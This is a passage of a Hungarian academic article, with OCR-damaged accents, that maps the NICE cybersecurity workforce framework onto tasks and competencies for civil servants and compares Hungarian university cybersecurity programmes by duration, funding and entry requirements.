Informacidbiztonsagi Vezetd (EIV) szakiranyu tovabbképzésének tartalmat és értéke-
lését, amelyet a szerz&k a képzésen végzett hallgatdk szakdolgozatanak elemzésével
végeztek el. Ezek alapjan szamos kovetkeztetést levonnak az EIV fejlesztését célozva,
igy példaul javaslatot fogalmaznak meg a képzés céljara és tartalmara, az egyénre
szabottabb tanari tdmogatas biztositasara, illetve a heterogén oktatasi csoportok
létrehozéasara vonatkozoan.*

Som Zoltan Az informaciobiztonsag fejlesztési lehetbségei az EIV képzésen
keresztiil cim( cikkében az EIV szakiranyu tovabbképzésének tapasztalatait és mérési
eredményeit mutatja be, amelynek segitségével ravilagit a rendszerben rejlé fej-
lesztési lehet&ségekre is. Ennek keretében személyes megfigyeléseket végzett,
és szabadszavas kérddiveket toltetett ki az EIV-ben részt vevékkel, majd megvizs-
galta, hogy milyen kockazatok meriilhetnek fel a képzéssel kapcsolatban, illetve
hogy milyen intézkedéseket, ellenintézkedéseket kell megtenni a kockazatok
csokkentése érdekében. Végiil javaslatokat hatarozott meg a képzés fejlesztésére,
igy példaul szakkollégium létrehozésat, illetve egyéni kommunikacios képességek
fejlesztését ajanlja.®

Simon Béla Kiberb(indzés elleni képzésfejlesztés cim(i publikacidjaban attekinti,
hogy a jelenlegi hazai képzési, oktatasi rendszerben mikor és milyen jellegii allami

? Krasznay Csaba: A kiberbiztonsag stratégiai vetiileteinek oktatasi kérdései a kozszolgalatban. Nemzet
és Biztonsag, 10. (2017), 3. 38-53.

4 Nagyné Takacs Veronika — Kovacs Laszl6: Az informaciobiztonsagi vezetd szakiranyu tovabbképzés tapasztalatai.
Pro Publico Bono — Magyar Kézigazgatas, 3. (2015), 4. 85-99.

> Som Zoltan: Azinformaciobiztonsag fejlesztési lehet&ségei az EIV képzésen keresztiil. Tarsadalom és Honvédelem,
20. (2016), 2. 167-175.
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teenddék jelentkeznek. A szerz6 azonositja a kiberblindzés elleni fellépés két f6 oldalat,
a megel6zési oldalat, valamint a mar megvaldsitott blincselekmények felderitésének,
nyomozasanak, bizonyitasanak és az elkdvetdk blintetd igazsagszolgaltatas altali
felel&sségre vonasanak megvalositasat. Bemutatja a renddri/rendészeti felséoktatas
lehetséges, illetve tervezett fejlesztési irdnyainak lehet&ségeit, a megrendeldi igények
Osszevetésével.®

NICE Framework

A NICE vagy masnéven a Kiberbiztonsagi Oktatas Nemzeti Kezdeményezését az Egye-
siilt Allamok Kereskedelmi Minisztériumanak Nemzeti Szabvényigyi és Technoldgiai
Intézete vezeti, amely egyfajta partnerségként értelmezheté a kormany, az akadémiai
szféra és a maganszektor kdzott. Az egyiittmiikddés kozéppontjaban a kiberbiztonsagi
oktatas, képzés, valamint a munkaeré haloézatanak folyamatos fejlesztése all. A NICE
ennek keretében tudomanyos és ipari partnerekkel egyeztetve kordinalja a mar meglévé
sikeres kiberbiztonsagi programokat, valamint el&segiti az innovaciot és a kiberbiz-
tonsagi szakemberek jov6képének kialakitasat. A NICE olyan orszagos és nemzetkdzi
kezdeményezéseket tdmogat, amelyek segitségével ndvelhet6 a kiberbiztonsaggal
kapcsolatos munkak elvégzéséhez sziikséges ismeretekkel, készségekkel és képessé-
gekkel rendelkezd szakérték szama.

A NICE-keretrendszer alapvetd referenciaként szolgal olyan munkaeré tamo-
gatdsahoz, amely képes kielégiteni a szervezet kiberbiztonsagi igényeit egy kozds,
kovetkezetes ,lexikon” segitségével, amely leirja a lehetséges kiberbiztonsagi munkat
kategorianként, szakteriiletenként, illetve munkakorénként.’

Tovabba meghatarozza az elsajatitandé kiberbiztonsagi tudast, készségeket,
képességeket és feladatokat az egyes munkakdrokhoz, ahogyan azt a 2. abra is
szemlélteti. E keretrendszer kivalo alapként szolgalhat az altalunk atadni kivant
tudas, készségek, képességek meghatarozasara, a kiberbiztonsagi tantervek, tantargyi
adatlapok kidolgozasara.

A NICE-keretrendszerr6l és a kiberbiztonsagi oktatas fontossagarél szamos nem-
zetkdzi tanulmany tartalmaz megallapitasokat, kdvetkeztetéseket.

Alsmadi tanulmanya ramutat a jelenlegi kiberbiztonsagi munkaeréhiany
jelenségére, valamint arra, hogy folyamatos novekedés figyelhet meg a kiberbiz-
tonsagi szakemberek és készségek iranti igények tekintetében. Tovabba ravilagit
az elméleti és gyakorlati képességek kdzotti egyensuly hianyara, illetve az akadémia
és az ipar kozotti szakadékra, amelyeket a NICE-keretrendszer segitségével meg
lehetne oldani.?

¢ Simon Béla: Kiberbtin6zés elleni képzésfejlesztés. Magyar Rendészet, 18. (2018), 3. 193-207.

7 William Newhouse et alii: National Initiative for Cybersecurity Education (NICE) Cybersecurity Workforce
Framework. National Institute of Standards and Technology, 2017.

8 lzzat Alsmadi: Cybersecurity Education Based on the NICE Framework: Issues and Challenges. ISACA Journal,
4.(2018), 1-6.
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NICE Framework:
(K) Tudas, (S) Készség, (A) Képesség > (T) Feladatok

2. abra
NICE-keretrendszer KSA elemeinek kapcsolata.
Forras: a szerzé szerkesztése

Armstrong és szerztarsai szintén kihangsulyozza a névekvé kiberbiztonsagi munka-
eréhianyt, ezaltal pedig a kiberbiztonsagi munkaerd iranti kereslet és versengés meg-
jelenését. A cikk rogziti az egyetemek szerepét, amely szerint hozzajarulnak a ndvekvd
kiberbiztonsagi igények kielégitéséhez azaltal, hogy megfeleld kiberbiztonsagi képe-
sitést biztositanak a kdvetkez6 generacid szamara, tovabba donté fontossagu, hogy
az ilyen képzések tanterveit Ugy alakitsak ki, hogy az adott munkakdr tipusahoz is
illeszkedjenek, tovabba gyakorlati ismereteket is tartalmazzanak.’

Adriane C. Estes és szerz6tarsai tanulmanyukban feltarjak, hogy a NICE kiber-
biztonsagi munkaerérendszere hogyan igazitja és hangolja 6ssze a kiberbiztonsagi
munkakat a potencialis jeloltekkel. A szerzék bemutatjak, milyen elényei vannak egy
szervezet szamara a NICE-keretrendszer alkalmazasanak, illetve hogyan segit azono-
sitani a kiberbiztonsagi képességeket és megoldast talalni ezen képességek hianyara,
valamint folyamatos fejlesztésére, nemcsak szervezeti, hanem globalis szinten is."

McDuffie és Piotrowski raviladgitanak arra, hogy a kiberbiztonsagi oktatas
és a munkaer6 fejlesztése jelentdsen hozzajarul a kdzds kiberbiztonsagi nyelv kiala-
kitdsahoz, amely nagyban javitja a problémamegoldast is."”

°  Miriam E. Armstrong et alii: Framework for Developing a Brief Interview to Understand Cyber Defense Work: An
Experience Report. Proceedings of the Human Factors and Ergonomics Society 2017 Annual Meeting, 61. (2017),
1.1318-1322.

0 Adriane C. Estes — Dan J. Kim — Andrew T. Yang: Exploring How the NICE Cybersecurity Workforce Framework
Aligns Cybersecurity Jobs with Potential Candidates. Proceedings of the 14" International Conference on Frontiers
in Education: Computer Science & Computer Engineering, Las Vegas, Nevada, CSREA, 2018.

" Ernest L. McDuffie - Victor P. Piotrowski: The Future of Cybersecurity Education. Computer, 47.(2014) 8. 67-69.
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A kozszolgalati kiberbiztonsag megvalésitasahoz sziikséges képességek,
készségek, ismeretek

Jelen fejezet célja meghatarozni, hogy a kdzszolgalat mely része tekinthetd relevansnak
a kozszolgalati kiberbiztonsagi képzés szempontjabol. A meghatarozott célcsoporthoz
azonositani kell a kibervédelmi, adatvédelmi és informaciodbiztonsagi feladatkoroket,
végil az ezek végrehajtasahoz sziikséges ismerethalmazt sziikséges definialni.

A célcsoport és a feladataik meghatarozasa

A kdzszolgalati kiberbiztonsag megteremtéséhez elengedhetetlen a kiilonféle kiber-
védelmi képességek elsajatitasa és folyamatos fejlesztése. Azonban vannak olyan
teriletei a kdzszolgalatnak, amelyek sokkal részletesebben és tobb aspektusbol is
vizsgaljak a kiberbiztonsagot (példaul honvédség, nemzetbiztonsagi szolgalatok stb.),
ezért fontos meghatarozni, hogy a kozszolgélat mely részeivel szeretnék foglalkozni
jelen kutatas f6 kontextusaban.

Célcsoport meghatarozasa

Ahhoz, hogy a célcsoport definiadlhato legyen, mindenképp sziikséges meghatarozni
a kozszolgalat fogalmat. A nemzetkdzi és hazai szakirodalom alapjan megallapithato,
hogy nagyon nehéz egy egységes definicidt alkotni a kdzszolgalatra, hiszen orsza-
gonként eltérd, hogy mely szervek és alkalmazotti korok tarsithatok e fogalomhoz.
Antal Zsolt a kozszolgalat definiciojat tobbféle megkdzelitésbél (jogi, funkcionalis,
szervezeti) vezeti le, amelyek alapjan a kozszolgalat olyan nem piaci mechanizmusok
altal vezérelt tevékenységek Osszessége, amelyet az allam altal tobbségében tulaj-
donolt szervezetek valdsitanak meg a kozjé fenntartasa vagy novelése érdekében.'

Hazafi Zoltan doktori értekezésében két definicidt rogzit, az egyik az ugyneve-
zett funkcionalis fogalom, amelynek értelmében mindenki, aki kézfeladatot lat el
kozszolgalati alkalmazottnak mindsiil, fliggetlenil az 6t alkalmazo szervezet jogal-
lasatol, személyes statuszatol, kivalasztasatol, illetve dijazasatol. A masik, ugyne-
vezett szlikebb meghatdrozas szerint kozszolgalati alkalmazott az, akit a jogallasara
vonatkozé szabalyok ilyen mindséggel ruhaznak fel.” E definiciokbdl kdvetkezik, hogy
a kozszolgalati alkalmazotti csoport rendkivil széles spektrumu, mind az idetartozé
munkakdrdknek, mind az alkalmazottak képességeinek, készségeinek kdszénhetSen.
Eppen ezért fontos jelen kutatas szempontjabél relevans kdzszolgalati alkalmazotti
kor sz(ikitése olyan teriiletekre, amelyek kiberbiztonsagi kockazatot jelenthetnek, részt
vesznek a dontéshozatalban, és képzésiik soran nem részesiilnek részletes, atfogod
kiberbiztonsagi oktatasban.

2 Antal Zsolt: A kozszolgalati kommunikacié eredményességére hat6 tényezék — A kozszféra és a versenyszféra
kommunikaciés gyakorlatat befolyasold kiilonbségek. Vezetéstudomany, 49. (2018), 4. 68-76.

3 Hazafi Zoltan: Kézszolgélati jogunk a véltozé nemzetkézi és hazai térben. Doktori értekezés. Pécsi Tudomanyegye-
tem, AJK Allam- és Jogtudomanyi Kar Doktori Iskola, 2009.
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Idetartoznak példaul az alabbi kdzszolgalati munkakdrok a teljesség igénye nélkil:
a) akozigazgatasban foglalkoztatott kdzszolgalati tisztviseldk,

b) az allami f6hatalom szerveinek hivatalaiban dolgozo személyek,

) az egyes specialis jogallasu kozponti szervekben dolgozd személyek,

d) arendvédelmi feladatokat ellato szervek igazgatasi feladatot végz4 tagjai,
e) birak, tigyészek, illetve a munkajukat segité alkalmazottak,

f) kiberbiztonsagi kockazatot jelentd kozalkalmazottak.

Osszességében megallapithato, hogy a kozszolgalati alkalmazottak ilyen tipusu sziikitése
elengedhetetlen a kozszolgalati kiberbiztonsag megvaldsitasahoz, hiszen ahhoz, hogy
meghatarozzuk milyen ismerethalmaz elsajatitasa a cél, tudnunk kell, hogy milyen
tertileten zajlik a mindennapos munkavégzés, illetve milyen tipust dontéshozatalban
vesznek részt az alkalmazottak.

Feladatok azonositasa

A célcsoport meghatérozasa utan fontos meghatarozni azokat az altalanos kiber-
biztonsagi feladatokat, amelyeket a kdzszolgalati dolgozoknak sziikséges végrehaj-
tani akar a mindennapi munkajuk sorén, akar egy esetleges kibertdmadas esetén.
A NICE-keretrendszer segitségével azonositott feladatokat az 1. tablazat tartalmazza."

1. téblazat
A kivalasztott célcsoport altalanos kibervédelmi feladatai.
Forras: a szerzé szerkesztése

Feladat

T1. Tanacsadas a felsévezetésnek a kockazatértékelési folyamatrdl, kockazati szintekrél,
az informacidbiztonsagi programokrél, rendszerekrél, iranyelvekrél, folyamatokrol és eljarasi
szabalyokrol.

T2. Uzletmenet-folytonossagi tervek elkészitése, tesztek elvégzése.

T3. Adatvédelmi, adatbiztonsagi érdekek képviselése a szervezeten belil.

T4. Stratégiai tervek kidolgozasa és fenntartasa.

T5. Szerz6dések értékelése az adatvédelmi kdvetelmények betartasa érdekében.

T6. Akilonféle dontéshozatali folyamatok soran megjelend kockazatelemzés elkészitése.

T7. Relevans jogszabalyok, szabvanyok, eljarasok, technologiai valtozasok figyelemmel kisérése,
értelmezése, alkalmazasa.

T8. Hazai és kiilfoldi ,jo gyakorlatok™ alkalmazasa.

T9. Belsd audit végrehajtasa, auditjelentések elkészitése.

T10. Kozvetités a miszaki és nem miiszaki szakemberek kozott.

T11. A kiberbiztonsagi politika, stratégia meghatdrozasa a felsévezetéssel egyiitt, a kiberbiztonsagi,
adatvédelmi alapelvek a szervezet kiildetésében, jovéképében és céljaiban torténd
megjelenitése.

T12. Kapcsolattartas az adatvédelemért és adatbiztonsagért felelés hatdsagokkal, testiiletekkel,
kormanyzati szervekkel, szereplékkel.

¥ Newhouse et alii i. m. (7. lj.) 24-58.
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T13. Irdnymutatds dtadasa a vezet6ség, az alkalmazottak és az lgyfelek szamara, a relevans
jogszabalyokrol, politikakrol, szabvanyokrol és eljarasokrol.

T14. Egyuttmikodés az informatikai, informacidbiztonsagi szakemberekkel.

T15. Kézremiikodés az informacids infrastruktura kialakitasaban, fejlesztésében.

T16. Incidenskezelési folyamat kialakitdsa, incidensek kezelése.

T17. Figyelemmel kisérni a szervezet folyamatait a biztonsagi és az adatvédelmi szabalyok
betartasanak ellenérzése céljabol.

T18. A szervezet adatvédelmi kérdésekkel foglalkozé munkatarsainak felligyelete.

T19. Kibervédelmi kérdések megvalaszolasa a szervezeten beliil és kiviil.

T20.Kiberbiztonsagi fenyegetések, tdmadasok felismerése és szegregélasa.

T21. Ahuman fenyegetettségb6l eredd kockazatok azonositasa.

T22.Kiberbiztonsaggal, adatvédelemmel kapcsolatos képzések, oktatasok megtartasa,
lebonyolitésa.

Sziikséges ismerethalmaz definialasa

Ahhoz, hogy az el6z6 pontban ismertetett feladatokat a kozszolgalati alkalmazottak
maradéktalanul el tudjak latni a munkajuk soran fontos kdvetelmény, hogy azono-
sitsuk milyen tudashalmaz sziikséges szamukra.

A NICE altal definialt ismerethalmaz

A T1-T18 kibervédelmi feladatok ellatasahoz sziikséges ismerethalmaz definialasa
soran a NICE Framework keretrendszer kiberbiztonsagi pozicidi koziil az adatvédelmi
tisztvisel6 munkakort valasztottam ki, amely a leginkabb illeszkedik a célcsoport
eléképzettségéhez, valamint az dltaluk megszerezhet6 képességekhez. Ezt kdvetden
megvizsgaltam a keretrendszer altal el&irt tudas, képesség és készség halmazat,
és kivalasztottam azokat, amelyek feltétlenil sziikségesek az emlitett feladatok tel-
jesitéséhez. Ezek alapjan a 2. tablazat tartalmazza e feladatokat, tudast, képességeket
és készségeket:

2. tablazat
T1-T18 feladatokhoz sziikséges KSA-elemek.
Forras: a szerzé szerkesztése

Tudas (K)

K1. Szamitogép-haldzatokhoz kapcsolddd alapfogalmak ismerete.

K2. Kockazatkezelési folyamatok ismerete.

K3. Kiberbiztonsagi, adatvédelmi jogszabalyok, iranyelvek, alapelvek ismerete.

K4. Kibertérbdl érkezé fenyegetések ismerete.

K5. Vezeték nélkili technolégiak ismerete.

Készség (S)

S1.  Adatvédelmi szabalyok, irdnyelvek készitésének készsége.

S2. Abeszallitokkal és partnerekkel vald targyalokészség, valamint ezek adatvédelmi
gyakorlataival kapcsolatos értékelésének készsége.

S3. Kilonboz6 szintli kommunikacids készség a szervezet kiilonboz6 teriileteinek megfelelen.
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Képesség (A)

Al. Egyértelmd, vilagos, atlathatd stratégia, irdanymutatasok, szabalyok, eljarasok, folyamatok
és képzési anyagok, dokumentaciok kidolgozasanak képessége.

A2. Szabvanyos mUkddési eljarasok, folyamatok kidolgozasanak és folyamatos fejlesztésének
és a jogszabalyoknak valé megfeleltetésének képessége.

A3. Arelevans adatvédelmi, kiberbiztonsagi jogszabalyok, technoldgidk valtozasanak nyomon
kovetésének képessége.

A4. Operativ célok eléréséhez sziikséges megfeleld intézkedések, eljarasok kivalasztasanak
képessége.

A5. Mlszaki, tervezési informaciok az tgyfél megértési szintjéhez igazitott atalakitasanak
képessége.

A6. Adatvédelmi és informacidbiztonsagi célok dsszehangolasanak képessége.

A7. Annak meghatarozasanak képessége, hogy egy biztonsagi esemény, incidens megsérti-e
a maganélet tiszteletben tartasanak elvét vagy a jogi elSirasokat.

A8. Képzési tervek kidolgozdsanak képessége.

A9. Adatvédelmi szabalyzatok, dokumentumok kidolgozasanak képessége.

Egyéb a NICE altal nem definialt ismerethalmaz

A tovabbi feladatok végrehajtasahoz azonban tovabbi tudast, képességeket és kész-
ségeket is kell azonositani. A T19-T22-es feladatokhoz kapcsoldddan a 3. tablazat
foglalja 6ssze a tovabbi ismerethalmazt.

3. tablazat
T19-T22 feladatokhoz sziikséges KSA-elemek.
Forras: a szerzé szerkesztése

Tudas (K)

K1* Az allami kibervédelmi rendszer ismerete.

K2* A szervezeten beliili kiberbiztonsagi és adatvédelmi felel8s poziciok ismerete.

K3* A kibertamadasok esetén alkalmazhato technikak, eljarasok ismerete.

K4* Az emberi tényezdk és a kiberbiztonsag kapcsolddasi pontjainak ismerete.

K5* A kibertamadasok mogott rejlé motivaciok és pszicholdgiai tényezék ismerete.
Készség (S)

ST* Emberi tényez6k kockazatan alapuld tamadasok felismerésének készsége.

S2* Adatbiztonsagi és kiberbiztonsagi magatartas készsége.

Képesség (A)

AT* A belsé munkavallalok jelentette kiberbiztonsagi kockdzatok felismerésének képessége.
A2* A human fenyegetettségbdl ered6 kockazatok csokkentésének képessége a szervezeten beliil.

kibertdamadas kezelése soran.
A4* Kiberbiztonsaggal, adatvédelemmel kapcsolatos képzések, oktatasok megtartasanak,

lebonyolitasanak képessége.

Hazai kiberbiztonsaggal kapcsolatos képzések

Jelen pontban azokat a kiberbiztonsaggal kapcsolatos képzéseket mutatom be, ame-
lyekre Magyarorszagon jelenleg (2020 szeptemberét6l) jelentkezni lehet. Osszesen
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tiz ilyen képzést azonositottam A hazai képzések bemutatdsa cimi alfejezetben,
amelyek alapadatait az Alapképzési szakok cim( alfejezetben taglalom. Ezt kdvet&en
megvizsgaltam, hogy a képzés tantervében szerepelnek-e az el6z6ekben bemutatott
NICE-keretrendszer dltal, valamint az altalam meghatérozott sziikséges alapismeretek,
amelyeket a Mesterképzési szakok cim(i alfejezetben részletezek.

A hazai képzések bemutatdsa

A bolognai folyamat részeként atalakult felséoktatasi képzési rendszer az alabbi fazi-
sokbol éplil fel: alapképzésbdl és mesterképzésbél, illetve az alap vagy mesterképzés
utan is elvégezhet§ szakiranyu tovabbképzésbdl. A hazai kiberbiztonsagi képzéseket
e harom csoport alapjan mutatom be a kévetkez6kben. Ezenkiviil szamos tovabbi képzés
(tudatossagi programok, tovabbképzések, kurzusok stb.) biztositja a kiberbiztonsagi
ismeretek atadasat a kozszolgalatban dolgozé személyek szamara, azonban jelen
tanulmany és az alabbi alfejezetek célja kizarolag a magyar felséoktatasi rendszerben
megtalalhatd képzések dsszegylijtése és bemutatasa.

Alapképzési szakok

Az alapképzés altalaban 3-4 éves id6tartamot feldleld képzési forma, amelyen tudo-
manyterllettdl fliggéen BA (Bachelor of Arts), illetve BSc (Bachelor of Science) fokozat
szerezhetd. E képzés sordn tulajdonképpen széles kor(i alapszintl ismeretek elsajati-
tasa a cél, amely a munkaerépiacon hasznosithatd szakmai ismereteket és megfelel
elméleti alapozast nyujt az adott szakteriileten a tanulmanyok mesterképzésben
torténd folytatasahoz.

Kiberbiztonsaghoz kapcsolodo hazai alapképzések: a) Nemzeti Kozszolgalati
Egyetem — Bliniigyi alapképzési szak — Kiber nyomoz¢ szakirany (NKE KNY);" b) Obu-
dai Egyetem — Biztonsagtechnikai mérnok alapképzési szak — Informaciobiztonsagi
specializacié (OE BM).™

Mesterképzési szakok

A mesterképzés, amelyen MA (Master of Arts), illetve MSc (Master of Sciences)
fokozat és szakképzettség szerezhet6. Mesterképzésre az jelentkezhet, aki lega-
labb egy alapképzési diplomaval vagy a korabbi képzési rendszer szerinti f8iskolai/
egyetemi diplomaval rendelkezik, de a felvétel pontos kdvetelményeit és feltételeit

' Nemzeti Kbzszolgalati Egyetem — Bliniigyi alapképzési szak — Kiber nyomozo szakirény. Elérhets: www.felvi.hu/
felveteli/egyetemek_foiskolak/!IntezmenyiOldalak/meghirdetes.php?meg_id=20905&elj=20a (A letéltés da-
tuma: 2020. 03. 14.)
Obudai Egyetem - Biztonsagtechnikai mérnék alapképzési szak — Informaciébiztonsagi specializécié. Elérheté:
www.felvi.hu/felveteli/szakok_kepzesek/szakleirasok/!Szakleirasok/index.php/szak/36/szakleiras (A letéltés da-
tuma: 2020. 03.14.)
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a fels6oktatasi intézmények maguk hatdrozzak meg. A mesterképzés altalaban 2-4
féléves id6tartamot 6lel fel. Osszességében megallapithato, hogy a mesterképzés
soran szakterllet-specifikus és mélyebb elméleti és gyakorlati ismeretek atadasa
a cél, amelynek elvégzését kovetben lehet&ség van kilépni a munkaerépiacra, illetve
jelentkezni lehet a képzési rendszer harmadik lépcséfokat jelentd doktori képzésre,
amely a tudomanyos fokozat megszerzésére készit fel.”

Kiberbiztonsaghoz kapcsolodd hazai mesterképzések: a) Nemzeti Kézszolgalati
Egyetem — Kiberbiztonsagi mesterképzés (NKE KB);"® b) Nemzeti Kozszolgalati Egye-
tem —Védelmi infokommunikacids rendszertervez6 — Informaciobiztonsagi szakirany
(NKE VIKR).™

Szakiranyu tovabbképzések

Fontos megemliteni a szakiranyu tovabbképzés szintjét is, amely a mar korabban
megszerzett alap- és mesterfokozatra, f6iskolai vagy egyetemi szintl végzettségre
épuls oklevelet add, 2-4 félév id6tartamu képzési forma. A mesterképzéstél eltérd
képzési forma, amely specidlis feladatok ellatdsara ad felkészitést, valamint lehetévé
teszi a kordbban szerzett ismeretek meghatarozott iranyu elmélyitését. Azonban
az elvégzését kdvetben megszerzett oklevél nem emeli a kordbbi végzettség szintjét.?
Kiberbiztonsaghoz kapcsolddd hazai szakiranyu képzések:
a) Nemzeti Kézszolgalati Egyetem — Elektronikus informacidbiztonsagi vezetd
szakiranyu tovabbképzés (NKE EIB);?'
b) Nemzeti Kézszolgalati Egyetem — Eurdpai uniés adatvédelmi szaktanacsado
szakiranyu tovabbképzési szak (NKE EUA);?
) Eotvos Lorand Tudomanyegyetem — Adatbiztonsagi és adatvédelmi szakjogasz/
szakember szakiranyt tovabbképzés (ELTE ASZ);?
d) Obudai Egyetem —Kiberbiztonsagi szakmérnok/szakember szakirany( tovabb-
képzés (OE KSZ);

7 2011. évi CCIV. torvény a nemzeti felsGoktatasrol.

8 Nemzeti Kozszolgalati Eqyetem — Kiberbiztonségi mesterképzés. Elérhets: www.felvi.hu/felveteli/szakok_kepze-
sek/szakleirasok/!Szakleirasok/index.php/szak/20554/szakleiras (A letoltés datuma: 2020. 03. 14.)

9 Védelmi infokommunikacids rendszertervezd — Informacidbiztonsagi szakirdny szakleirds, tematika. Nemzeti K6z-
szolgalati Egyetem Elérhetd: https://hhk.uni-nke.hu/oktatas/mesterkepzes/vedelmi-vezetestechnikai-rendszer-
tervezo (A letoltés datuma: 2020. 03. 14.)

20 87/2015. (IV. 9.) Korm. rendelet a nemzeti felsSoktatasrol szolo 2011. évi CCIV. térvény egyes rendelkezéseinek
végrehajtasarol.

21 Elektronikus informaciébiztonsagi vezetd szakleirds. Nemzeti Kozszolgalati Egyetem. Elérhetd: https://kti.uni-nke.
hu/szakiranyu-tovabbkepzesek/szakiranyu-tovabbkepzesi-szakok/elektronikus-informaciobiztonsagi-vezeto/
altalanos-informaciok (A letéltés datuma: 2020. 03.19.)

2 Eurdpai unids adatvédelmi szaktandcsado szakleirds. Nemzeti Kozszolgalati Egyetem. Elérhetd: https://kti.uni-
nke.hu/szakiranyu-tovabbkepzesek/szakiranyu-tovabbkepzesi-szakok/europai-unios-adatvedelmi-szaktanacsa-
do/altalanos-informaciok (A letoltés datuma: 2020. 03. 14.)

#  Adatbiztonsdgi és adatvédelmi szakjogasz szakleiras. ELTE Jogi Tovabbképz6 Intézet, Elérhetd: https://jotoki.elte.
hu/content/adatbiztonsagi-es-adatvedelmi-szakjogasz.t.406 (A letéltés datuma: 2020. 03. 19.)

24 Kiberbiztonsdgi szakmérnék/szakember képzés tartalma. Obudai Egyetem. Elérhetd: http://bmi.nik.uni-obuda.
hu/kiber_kovetelmeny (A letoltés datuma: 2020. 03. 19.)
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e) Obudai Egyetem — Informacidbiztonsagi szakmérndk/szakember szakiranyu
tovabbképzés (OE 1SZ);*

f) Gabor Dénes Féiskola — Adatvédelmi és informaciobiztonsagi menedzser
szakiranyt tovabbképzés (GDF AIM).2

Hazai képzések alapadatainak vizsgalata

Az els8 6sszehasonlitds soran a képzések alapadatait vizsgaltam meg, amelyet
a 4. tablazat szemléltet. A tablazatban lathatd, hogy az egyes képzések idétartama
(1.) félévekben megadva; a munkarend (M), ami lehet nappali (n), levelezé (1), esetleg
mindkettd (n/l); a finanszirozasi forma (Fin.), amely alapjan a képzés lehet allami
dsztondijjal témogatott (0szt.), 6nkéltséges (6nk.) vagy mindkettd (6szt/onk.), végil
a bemeneti kovetelmények.

4. tablazat
Vizsgalt hazai képzések alapadatai.
Forras: a szerzé szerkesztése

Képzés | M. |Fin. Bemeneti kdvetelmény
< | NKEKNY 8 n oszt. alkalmassagi vizsgalatok +
S informatikai jartassagi és készségvizsgalat
a OE BM 7 n/l | 6szt/6nk. |érettségi bizonyitvany, meghatarozott érettségi
vizsgakovetelmények
< NKE KB 4 n/l | 6szt/énk. |alapképzés + informatikai, allamtudomanyi
U < ek P
s és tarsadalomtudomanyi ismeretek
= NKE VIKR 4 n/l | 6szt/énk. |alapképzés
NKE EIB 2 L onk. alapképzés
ELTE ASZ 3 ( onk. szakjogasz: allam- és jogtudomany képzés

szakember: meghatarozott alapképzések

OEKSZ 4 ( onk. szakmérndk: mérnoki alapképzés
szakember képzés: alapképzés

OE ISZ 4 ( énk. szakmérndk: mérnoki alapképzés
szakember képzés: alapképzés

Szakiranyu
tovabbképzés

GDF AIM 2 l onk. informatikai, mtiszaki, gazdasagtudomanyi,
tarsadalomtudomanyi, pedagdgusképzés, jogi,
kozigazgatasi, rendészeti vagy katonai alapképzés

NKE EUA 2 L onk. alapképzés

% Informaciobiztonsagi szakmérnok/szakember képzés tartalma. Obudai Egyetem. Elérhetd: www.bgk.uni-obuda.hu/
hu/kepzeseink/tovabbkepzesek/informaciobiztonsagi-szakmernokszakember (A letéltés datuma: 2020. 03. 21.)

% Adatvédelmi és informacidbiztonsagi menedzser szakiranyui tovéabbképzés tartalma. Gabor Dénes Féiskola. Elérhetd:
http://gdf.hu/szakiranyu-tovabbkepzesek/adatvedelmi-es-informaciobiztonsagi-menedzser/ (A letéltés datuma:
2020.03.21)
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A vizsgalatbol kideriil, hogy a vizsgalt alapképzésekhez bar nincs sziikség egyéb vég-
zettségre, azonban megjelennek a jelentkezéshez sziikséges tovabbi feltételek, mint
példaul az alkalmassagi vizsgalat, informatikai jartassag. Ezenkiviil az egyes képzések
tovabbi megszoritasokat, kovetelményeket tartalmaznak azzal kapcsolatban, hogy
milyen tipusu el6képzettségre van sziikség ahhoz, hogy a képzésen részt lehessen
venni. Harom képzés esetében (NKE VIKR, NKE EIB, NKE EUA) barmely képzési teriilet
alapképzéses diplomajat elfogadjak, mig a tobbi képzés esetében kiilon rogzitették
a bemeneti kovetelmények konkrét képzési terileteit, igy példaul informatikai, miszaki,
kozigazgatasi, jogi és szamos tovabbi teriileti alapképzésen szerzett oklevél sziikséges.

Az el6képzettség a képzés abszolvalasanak koriilményeit is jelentdsen befolyasolja,
igy példaul mas bemeneti tudassal rendelkeznek a miiszaki és mas a human teriiletrél
érkezd hallgatok, hiszen mig az utdbbi esetében az informatikai oktatas, addig az el6bbi
esetében a jogi, tarsadalomtudomanyi ismeretek elsajatitasa okozhat nehézséget.

Osszességében megallapithatd, hogy a jelenlegi felsGoktatasi képzési rendszer
minden szintjén elérhetd kiberbiztonsaggal, informaciobiztonsaggal foglalkozd kép-
zés. Fontos kiemelni, hogy a jelenlegi képzési rendszer fazisaiban atadott ismeretek
mennyisége és mélysége eltérd, jelentdsen befolyadsolja azt a képzési forma struk-
turdja, kdvetelményei, idétartama, valamint a képzés soran elsajatitando készségek,
képességek, ismeretek halmaza.

Hazai képzések ismerethalmazanak vizsgalata

Miutan bemutattam a hazai fels6oktatasban elérhet6 kiberbiztonsaggal foglalkozd
képzéseket, szeretném megvizsgalni, hogy létezik-e olyan képzés, amely fedi a Feladatok
azonositasa cimi alfejezetben azonositott ismeretek korét. Ehhez megvizsgaltam,
hogy az egyes képzések oktatasi anyaga tartalmaz-e részletes képzési anyagot a K1-K5
és K1*-K5* tudashalmazzal kapcsolatban.

A vizsgalat soran a képzések weboldalan talalhaté informaciokat, tematikakat
és elérhetd oktatasi anyagokat vizsgaltam meg. A vizsgélat eredményét az 5. tablazat
tartalmazza, ahol a sorok az egyes képzéseket, az oszlopok az azonositott tudas-
halmazt jelolik. Egy cellaba akkor keriilt v jel, ha az adott sorban taldlhato képzés
oktatja az adott oszlopban talalhaté ismeretanyagot. Ha egy cellaba - jel keriilt, akkor
nem talalhatd informacié azzal kapcsolatban, hogy az adott ismeretkdrt is oktatjak
az adott képzésen.

A vizsgalt képzések kozil a Nemzeti Kozszolgalati Egyetem védelmi infokom-
munikacios rendszertervezd mesterképzés informaciobiztonsagi szakiranya fedi le
a legtobb korabban meghatarozott tudaskort.

Osszességében megallapithatd, hogy az altalam meghatarozott Uj tudaselemek
mindegyike megjelenik valamely vizsgalt képzés képzési tervében, amely azt mutatja,
hogy ezen ismeretkorok a kdzszolgalati kiberbiztonsagi képzés szempontjabdl rele-
vansnak tekinthet&k. A tablazat alapjan egyébként az is lathatd, hogy kivétel nélkiil,
minden vizsgalt képzés tantargyi programjaban szerepel a szamitdgép-haldzatokhoz
kapcsolddo alapfogalmak oktatasa.
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5. tablazat
Hazai kiberbiztonsaggal kapcsolatos képzések 6sszehasonlitdsa tudaselemek szerint.
Forras: a szerzé szerkesztése

